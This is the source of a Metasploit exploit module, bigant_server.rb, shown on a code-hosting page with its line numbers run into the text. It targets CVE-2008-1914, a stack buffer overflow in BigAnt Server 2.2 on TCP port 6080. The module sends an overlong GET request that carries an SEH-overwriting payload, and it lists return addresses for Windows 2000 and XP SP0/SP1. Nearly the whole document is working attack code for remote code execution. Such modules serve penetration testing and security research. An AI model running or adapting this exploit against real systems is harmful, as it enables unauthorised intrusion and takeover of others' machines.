Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/bigant_server.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'BigAnt Server 2.2 Buffer Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in BigAnt Server 2.2.16By sending a specially crafted packet, an attacker may be17able to execute arbitrary code.18},19'Author' => [ 'MC' ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'CVE', '2008-1914' ],24[ 'OSVDB', '44454' ],25[ 'BID', '28795' ],26],27'Privileged' => true,28'DefaultOptions' =>29{30'EXITFUNC' => 'process',31'AllowWin32SEH' => true32},33'Payload' =>34{35'Space' => 750,36'BadChars' => "\x00\x20\x0a\x0d",37'StackAdjustment' => -3500,38'EncoderType' => Msf::Encoder::Type::AlphanumUpper,39'DisableNops' => 'True',40},41'Platform' => 'win',42'Targets' =>43[44[ 'Windows 2000 Pro All English', { 'Ret' => 0x75022ac4 } ],45[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],46],47'DefaultTarget' => 0,48'DisclosureDate' => '2008-04-15'))4950register_options([Opt::RPORT(6080)])51end5253def exploit54connect5556sploit = "GET " + rand_text_alpha_upper(950) + generate_seh_payload(target.ret)57sploit << rand_text_alpha_upper(1024 - payload.encoded.length)5859print_status("Trying target #{target.name}...")60sock.put(sploit + "\n\n")6162handler63disconnect64end65end666768